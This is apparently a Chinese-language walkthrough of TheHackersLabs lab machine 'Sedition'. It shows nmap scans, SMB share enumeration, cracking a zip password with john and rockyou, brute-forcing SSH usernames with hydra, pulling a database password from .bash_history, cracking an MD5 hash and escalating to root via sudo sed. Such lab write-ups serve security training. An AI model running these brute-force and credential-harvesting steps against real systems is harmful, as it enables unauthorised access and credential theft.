<h1>Sedition</h1>
<blockquote>
<a href="https://labs.thehackerslabs.com/machine/117">https://labs.thehackerslabs.com/machine/117</a>
</blockquote>
<img src="/post-images/TheHackersLabsSedition/image.png" alt="image.png">
<h2>Recon</h2>
<pre><code class="hljs language-bash">➜ Sedition nmap -sT -min-rate 10000 192.168.56.87 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 21:30 CST
Nmap scan report for 192.168.56.87
Host is up (0.0037s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 08:00:27:8B:04:C6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds
</code></pre>
扫描出来是非常规端口
<pre><code class="hljs language-bash">➜ Sedition nmap -sT -A -p 139,445 192.168.56.87 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 21:34 CST
Nmap scan report for 192.168.56.87
Host is up (0.00049s latency).

PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
MAC Address: 08:00:27:8B:04:C6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop

Host script results:
|_clock-skew: -3s
| smb2-time: 
| date: 2025-07-14T13:34:54
|_ start_date: N/A
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: SEDITION, NetBIOS user: &#x3C;unknown>, NetBIOS MAC: &#x3C;unknown> (unknown)

TRACEROUTE
HOP RTT ADDRESS
1 0.49 ms 192.168.56.87

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.50 seconds
</code></pre>
没有<code>Web</code>端口，我们只能从<code>SMB</code>上手
首先尝试使用匿名账户进行访问
<pre><code class="hljs language-bash">➜ Sedition smbclient -L 192.168.56.87 -U anonymous
Password for [WORKGROUP\anonymous]:

 Sharename Type Comment
 --------- ---- -------
 print$ Disk Printer Drivers
 backup Disk 
 IPC$ IPC IPC Service (Samba Server)
 nobody Disk Home Directories
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 192.168.56.87 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
</code></pre>
<code>backup</code>里面有一个压缩包，下载
<img src="/post-images/TheHackersLabsSedition/image1.png" alt="image.png">
<h2>ZIP Crack</h2>
解压压缩包需要密码
<pre><code class="hljs language-bash">➜ Sedition unzip secretito.zip 
Archive: secretito.zip
[secretito.zip] password password: 
 skipping: password incorrect password
</code></pre>
<code>john</code>转换后爆破
<pre><code class="hljs language-bash">➜ Sedition zip2john secretito.zip > ziphash.txt 
ver 1.0 efh 5455 efh 7875 secretito.zip/password PKZIP Encr: 2b chk, TS_chk, cmplen=34, decmplen=22, crc=F2E5967A ts=969D cs=969d type=0

➜ Sedition john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sebastian (secretito.zip/password) 
1g 0:00:00:00 DONE (2025-07-14 21:40) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
</code></pre>
解压后得到一个密码 <code>elbunkermolagollon123</code>
<img src="/post-images/TheHackersLabsSedition/image2.png" alt="image.png">
这里尝试了很多用户名尝试登录<code>SMB</code>，但是都是失败了
<h2>端口扫描 v2</h2>
再枚举一下端口
UDP
<pre><code class="hljs language-bash">➜ Sedition nmap -sU -min-rate 5000 192.168.56.87
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 21:46 CST
Nmap scan report for 192.168.56.87
Host is up (0.00022s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT STATE SERVICE
137/udp open netbios-ns
5353/udp closed zeroconf
17845/udp closed unknown
25375/udp closed unknown
41702/udp closed unknown
46093/udp closed unknown
51456/udp closed unknown
MAC Address: 08:00:27:8B:04:C6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.74 seconds
</code></pre>
TCP 所有端口
<pre><code class="hljs language-bash">➜ Sedition nmap -sT -min-rate 10000 -p- 192.168.56.87
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 21:48 CST
Nmap scan report for 192.168.56.87
Host is up (0.00037s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
65535/tcp open unknown
MAC Address: 08:00:27:8B:04:C6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 17.75 seconds
</code></pre>
多了个 <code>65535</code> ，扫描一下详细信息
<pre><code class="hljs language-bash">➜ Sedition nmap -sT -A -p 65535 192.168.56.87
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 21:50 CST
Nmap scan report for 192.168.56.87
Host is up (0.00040s latency).

PORT STATE SERVICE VERSION
65535/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey: 
| 256 32:ca:e5:d1:12:c2:1e:11:1e:58:43:32:a0:dc:03:ab (ECDSA)
|_ 256 79:3a:80:50:61:d9:96:34:e2:db:d6:1e:65:f0:a9:14 (ED25519)
MAC Address: 08:00:27:8B:04:C6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.41 ms 192.168.56.87

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.32 seconds
</code></pre>
Ohya？SSH，<code>hydra</code>爆破一下用户名
<pre><code class="hljs language-bash">hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p elbunkermolagollon123 -t 12 -s 65535 -Vv 192.168.56.87 ssh 
</code></pre>
得到用户名 <code>cowboy</code>
<img src="/post-images/TheHackersLabsSedition/image3.png" alt="image.png">
<h2>权限提升</h2>
<h3>In cowboy shell</h3>
查看<code>sudo</code>权限
<pre><code class="hljs language-bash">cowboy@Sedition:~$ sudo -l
[sudo] contraseña para cowboy: 
Sorry, user cowboy may not run sudo on sedition.
</code></pre>
寻找<code>sid</code>权限文件
<pre><code class="hljs language-bash">cowboy@Sedition:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/umount
/usr/bin/chfn
/usr/bin/su
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
</code></pre>
突然注意到<code>.bash_history</code> 没有被重定向到 <code>/dev/null</code>
<pre><code class="hljs language-bash">cowboy@Sedition:~$ ls -al
total 24
drwx------ 2 cowboy cowboy 4096 jul 6 20:08 .
drwxr-xr-x 4 root root 4096 jul 6 18:56 ..
-rw------- 1 cowboy cowboy 78 jul 14 16:09 .bash_history
-rw-r--r-- 1 cowboy cowboy 220 jul 6 18:56 .bash_logout
-rw-r--r-- 1 cowboy cowboy 3526 jul 6 18:56 .bashrc
-rw-r--r-- 1 cowboy cowboy 807 jul 6 18:56 .profile
cowboy@Sedition:~$ cat .bash_history 
history
exit
mariadb
mariadb -u cowboy -pelbunkermolagollon123
su debian
exit
</code></pre>
扒拉 <code>users</code> 表
<pre><code class="hljs language-bash">MariaDB [bunker]> select * from users;
+--------+----------------------------------+
| user | password |
+--------+----------------------------------+
| debian | 7c6a180b36896a0a8c02787eeafb0e4c |
+--------+----------------------------------+
1 row in set (0,000 sec)
</code></pre>
爆破密码
<pre><code class="hljs language-bash">➜ Sedition john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
password1 (?) 
1g 0:00:00:00 DONE (2025-07-14 22:17) 100.0g/s 38400p/s 38400c/s 38400C/s 123456..michael1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 
</code></pre>
<h3>In debian shell</h3>
当前用户家目录下能拿到 <code>user.txt</code>
<pre><code class="hljs language-bash">debian@Sedition:~$ cat flag.txt 
pixxxxxxxxxxxxxxxxxxxxxx
</code></pre>
<code>sudo</code> 权限
<pre><code class="hljs language-bash">debian@Sedition:~$ sudo -l
Matching Defaults entries for debian on sedition:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User debian may run the following commands on sedition:
 (ALL) NOPASSWD: /usr/bin/sed
</code></pre>
结束：<a href="https://gtfobins.github.io/gtfobins/sed/">https://gtfobins.github.io/gtfobins/sed/</a>
<img src="/post-images/TheHackersLabsSedition/image4.png" alt="image.png">
读取 <code>root.txt</code>
<pre><code class="hljs language-bash"># cat root.txt
laxxxxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>
<h2>总结</h2>
超级常规

Sedition https://labs.thehackerslabs.com/machine/117 Recon 扫描出来是非常规端口 没有Web端口，我们只能从SMB上手 首先尝试使用匿名账户进行访问 backup里面有一个压缩包，下载 ZIP Crack 解压压缩包需要密码 john转换后爆...

TheHackersLabs - Sedition

TheHackersLabs - THLPWN

念念碎